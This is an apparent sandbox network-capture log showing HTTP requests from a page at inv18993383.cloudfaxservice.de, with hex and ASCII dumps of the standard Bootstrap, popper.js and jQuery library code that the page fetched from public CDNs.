2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d Data Ascii: mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 Data Ascii: l),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d Data Ascii: (!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)}
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d Data Ascii: t(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).rem
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 Data Ascii: DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collaps

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:05 UTC	630	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://inv18993383.cloudfaxservice.de sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:06 UTC	959	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:05:06 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1195119 Expires: Wed, 04 Mar 2026 15:05:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gW%2Bw3C4amxNyd6Y6shsOH9mGOXMxENm3kOMXZ4UhDdDDKDilIiYQIsPz%2FKeQr7PibmJRdozR7JHEtpO4MVS3nUqQOVfiaegHw7rDqoOYImhlSxTRurA4tSZy9peu%2FSEApqcVFxUd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9204aad4c9dd7b0e-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:05:06 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:05 UTC	605	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://inv18993383.cloudfaxservice.de sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:06 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2624531 Date: Fri, 14 Mar 2025 15:05:06 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890065-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1741964706.031271,VS0,VE1 Vary: Accept-Encoding
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
